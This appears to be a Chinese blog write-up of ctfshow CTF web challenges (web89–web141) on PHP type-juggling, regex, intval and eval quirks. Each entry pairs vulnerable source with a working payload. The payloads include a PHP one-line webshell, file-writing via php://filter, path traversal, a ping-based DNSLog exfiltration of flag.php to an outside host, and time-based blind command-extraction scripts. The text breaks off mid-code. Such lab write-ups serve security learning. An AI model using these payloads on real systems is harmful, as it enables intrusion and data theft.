longlongyu
for me

php特性

2025-04-04

PHP特性

CTF中常用PHP特性总结 - gxngxngxn - 博客园

web89

1
2
3
4
5
6
7
8
9
10
11
12
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

intval函数:获取变量的整数值

数组绕过正则表达式

1
?num[]=1

web90

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

num != 4476但是num === 4476,可以通过intval函数来int一下

2、intval函数的使用

1
intval( mixed $value, int $base = 10) : int

如果 base 是 0,通过检测 value 的格式来决定使用的进制:
◦ 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
◦ 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
◦ 将使用 10 进制 (decimal)。

科学计数法也可以绕过

1
2
3
4
5
6
intval('4476.0')===4476    小数点  
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格
1
?num=4476.0

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
}
  • 模式本身^php$
    • ^ 匹配行的开头
    • php 匹配字符串 “php”
    • $ 匹配行的结尾
  • 修饰符
    • i 表示不区分大小写(可匹配 “php”、”PHP”、”Php” 等)
    • m 表示多行模式,改变 ^$ 的行为:
      • 不加 m 时,^$ 只匹配整个字符串的开头/结尾
      • m 后,^$ 会匹配字符串中每一行的开头/结尾

第一个正则匹配有m,可以匹配多行

第二个正则匹配没有m,只能匹配字符串的开头和结尾,所以加上换行符%0a

1
?cmd=%0Aphp

web92

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

这里是弱比较,不会比较浮点和整数类型的,不能使用4476.0,使用16进制

1
?num=0x117c

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

字母被限制使用了,使用八进制

1
?num=010574

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

相关函数:

  • stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
  • strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
  • strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

0不能在开头

  1. strpos($num, "0")
    • 查找字符串 $num 中是否包含 "0"
    • 如果找到,返回 "0" 首次出现的位置(索引,从 0 开始)
    • 如果没找到,返回 false
  2. !strpos($num, "0")
    • ! 表示逻辑取反,即:
      • 如果 strpos 返回 false(未找到 "0"),则 !false 变成 true,触发 die()
      • 如果 strpos 返回一个数字(找到 "0"),则 !数字 变成 false,不触发 die()

strpos 返回 0 的情况
如果 "0" 出现在字符串开头(索引 0),strpos 返回 0,而 !0 也是 true,会导致误判!

1
?num= 010574

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

过滤了点

1
?num= 010574

web96

1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}


}

1
2
3
./flag.php
/var/www/html/flag.php
php://filter/resource=flag.php

web97

1
2
3
4
5
6
7
8
9
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

数组绕过,都返回为null

1
a[]=1&b[]=2

web98

1
2
3
4
5
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

php三元运算符

(expr1) ? (expr2) : (expr3);

get被post覆盖,存在get

1
2
get:?a=1
POST:HTTP_FLAG=flag

web99

1
2
3
4
5
6
7
8
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

array_push() 函数向数组尾部插入一个或多个元素。

rand() 函数生成随机整数。

in_array是弱类型比较,所以可以用数字+”.php”的方式绕过判断,并写入一句话木马

如果 $_GET['n'] 的值存在于 $allow 数组中,则将 $_POST['content'] 写入文件名为 $_GET['n'] 的文件。

1
2
3
4
5
6
7
8
GET
?n=123.php
POST
content=<?php @eval($_POST[1]);?>

访问/123.php
1=system('ls');
1=system('cat flag36d.php');

可以多试几次

web100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}


is_numeric用来检测变量是否为数字或数字字符串

php的运算优先级

1
&& > = > and

所以只需要v1是数字或者数字字符串,v0=true;

v2中不能有分号;

v3中必须有分号;

构造

1
2
3
v1=1&v2=system('ls')&v3=;

v1=1&v2=system('cat ctfshow.php')&v3=;

web101

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}
1
2
3
4
反射类ReflectionClass执行命令

ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作
反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令
1
v1=1&v2=echo new ReflectionClass&v3=;

web102

1
2
3
4
5
6
7
8
9
10
11
12
13
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
1
2
3
substr($v2,2) 是相当于返回v2[2:]
call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
file_put_contents($v3,$str)是将$str的内容写入并保存为$v3(第一个参数是文件名,第二个参数是内容)
1
2
3
4
5
6
7
8
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
输出 5044383959474e6864434171594473

带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。

1
2
3
4
5
6
7
8
POST
v1=hex2bin
GET
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

访问1.php
ctfshow{d581f290-402e-43da-9b08-8eae6a43ed3b}

web103

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
1
2
3
4
5
6
7
POST
v1=hex2bin
GET
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php


ctfshow{e2297350-39a0-4ee0-a68c-19d28f7a6044}

web104

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}

数组绕过

web105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

让key = suces –> key=suces

然后value=flag 那 么 value=flag

也就是suces=flag

要求$flag不等于flag

给$error覆盖变量,覆盖为flag

1
2
3
4
5
6
GET:suces=flag

POST:error=suces


ctfshow{bfced8fd-565c-4971-bd6f-a7e47deb8dd0}

web106

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}

数组绕过

ctfshow{699d9fb8-c7f4-4435-8a93-0915b4da6d87}

web107

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}

parse_str()函数和MD5弱碰撞

1
2
3
4
5
6
7
POST
v1=flag=0
GET
v3=QNKCDZO


ctfshow{da4b0308-49d1-4ede-9eb3-b6d862a1895b}

web108

1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

1
ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的,这里是c的值要为[a-zA-Z].可以用%00截断!

strrev:将字符串中的字符顺序颠倒

0x36d=877,倒过来就是778

1
2
3
4
c=a%00778

大写字母全部改成小写
ctfshow{407095b2-29ef-40b6-ac87-ac2662501014}

web109

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

v1和v2需要存在字母

v1需要放置一个php内置类,v2执行命令

1
2
3
4
?v1=ReflectionClass&v2=system('ls')
?v1=ReflectionClass&v2=system('tac fl36dg.txt')

ctfshow{e4faedc0-b7d4-4983-bdbb-d86e7c2d15a4}

web110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}

v2的正则匹配绕不过去,system(‘ls’)无法执行

可以使用FilesystemIterator文件系统迭代器来进行利用,通过新建FilesystemIterator,使用getcwd()来显示当前目录下的文件结构

1
?v1=FilesystemIterator&v2=getcwd

然后访问

得到flag

web111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}





}

v1=ctfshow

v2用全局变量$GLOBALS

var_dump(ctfshow)—->var_dump($GLOBALS)

1
$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
1
?v1=ctfshow&v2=GLOBALS

web112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

用php伪协议

1
?file=php://filter/resource=flag.php

web113

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

filter被绕过了

1
?file=compress.zlib://flag.php

web114

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
1
?file=php://filter/resource=flag.php

web115

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

禁用16进制,8进制,点,科学计数法…

trim:去除字符串的头尾空格

fuzz脚本

1
2
3
4
5
6
7
8
9
10
<?php
for($i = 0; $i<129; $i++){
$num=chr($i).'36';
if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
echo urlencode(chr($i))."\n";
}
}
?>

%0C %2B - . 0 1 2 3 4 5 6 7 8 9

%0C绕过trim

1
2
3
num=%0C36

ctfshow{476357e7-b968-49f8-9d94-02afa8deae13}

web123

1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
1
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
1
2
3
4
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag


CTFshow{25e03879-7814-40c9-8bc3-86eb08737baf}

web125

1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

flag,echo…..被禁用了

网页模式下

1
2
3
$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
QUERY_STRING是指?后面的值

1
2
3
4
GET
?$fl0g=flag_give_me;
POST
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

web126

1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

上面的payload可以用

1
2
3
4
GET
?$fl0g=flag_give_me;
POST
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

web127

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;
}

extract()函数从数组中将变量导入到当前的符号表

下划线被过滤了

fuzz脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function waf($num){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $num)){
return false;
}else{
return true;
}
}
for($i = 0; $i<129; $i++){
$num=chr($i);
if(waf($num)){
echo "未编码:".$num." 经过编码:".urlencode(chr($i))."\n";
}
}
?>

1
2
3
?ctf%20show=ilove36d

ctfshow{9d081d11-58fb-45be-bb2e-7bb31b99ad3d}

web128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}



function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

用gettext()的拓展函数

_()是gettext()的拓展函数

get_defined_vars返回由所有已定义变量所组成的数组

1
2
3
var_dump(call_user_func(call_user_func($f1,$f2)));
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));//输出数组
1
?f1=_&f2=get_defined_vars

web129

1
2
3
4
5
6
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

ctfshow出现的位置大于0就会读取文件

1
2
3
4
?f=/ctfshow/../../../../../var/www/html/flag.php


ctfshow{e3b03374-7b79-4d2d-ac4c-a335597ba3b0}

web130

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

数组绕过

1
stripos函数会返回`null`,null!=false
1
f[]=1

web131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

脚本

1
2
3
4
5
6
7
8
import requests
url="https://3eb26b55-3516-4b1c-955e-8fdbbac2b7d7.challenge.ctf.show/"
data={
'f':'very'*170000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web132

访问robots.txt

/admin

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

mt_rand()用 Mersenne Twister 算法生成随机整数

这里password=$flag和username=admin满足一个即可,然后code要为admin

1
2
3
?username=admin&password=&code=admin

ctfshow{31270840-d5f6-46a1-99c2-8cf9e24afbb3}

web133

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

出题人原话

1
2
3
4
5
6
7
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功

‘’相当于shell_exec()的别名,前6个字母是eval的输出eval(‘$F’ ;)

然后要用到这个在线工具DNSLog Platform

1
2
?F=`$F`;+`ping "cat flag.php|grep
ctfshow".y3a2j4.dnslog.cn -c 1`

web134

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
1
2
3
4
5
6
7
8
9
10
11
如果以Get方式和Post方式得到key1,key2,会输出nonononono

parse_str把查询字符串解析到变量中
($_SERVER['QUERY_STRING'])我们会得到url?后面传的值

extract 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。

所以我们可以用数组绕过isset
必须使得key1,key2都等于36d才能得到flag.php
1
?_POST[key1]=36d&_POST[key2]=36d

web135

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

133的升级版

substr返回字符串的一部分

DNSLog Platform

cp命令

1
?F=`$F `;cp flag.php 1.txt

web136

1
2
3
4
5
6
7
8
9
10
11
12
13
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}

exec,是执行一个外部程序,回显最后一行,需要用echo输出。

这里没有echo,没有回显

可以用tee指令

1
2
3
4
?c=ls /|tee abc
?c=tac /f149_15_h3r3|tee flag
访问
ctfshow{c7793f57-3ffa-4a24-bbae-863610d52c68}

web137

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}



call_user_func($_POST['ctfshow']);
1
2
3
POST
ctfshow=ctfshow::getFlag
源码

web138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);

:被禁用了

call_user_func可以使用数组

  • `call_user_func(['ctfshow', 'getFlag'])`等价于`ctfshow::getFlag()`
    
    1
    2
    3
    4

    ```php
    post
    ctfshow[]=ctfshow&ctfshow[]=getFlag

web139

1
2
3
4
5
6
7
8
9
10
11
12
13
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}

没有echo,没有回显

试了tee指令,好像不行

找了大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time
import string
str=string.ascii_letters+string.digits #生成所有字母与数字[a-zA-Z0-9]
result=""
for i in range(1,5):
key=0
for j in range(1,15):
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
#print(payload)
url="https://0326cb51-8c79-42ef-99b6-5db12a9a640b.challenge.ctf.show/"+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"#获取小写字母与数字
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="https://3a779fba-d3bc-48be-86e9-482d43d775ea.challenge.ctf.show?c="+payload
try:
requests.get(url,timeout=(2.5,2.5)) #time()第一个参数是响应时间,第二个是读取时间
except:
result=result+n
print(result)
break

web140

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

图片-20211124153513764

只要f1,f2构造出来的东西==0就相等了

1
f1=sha1&f2=sha1

web141

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
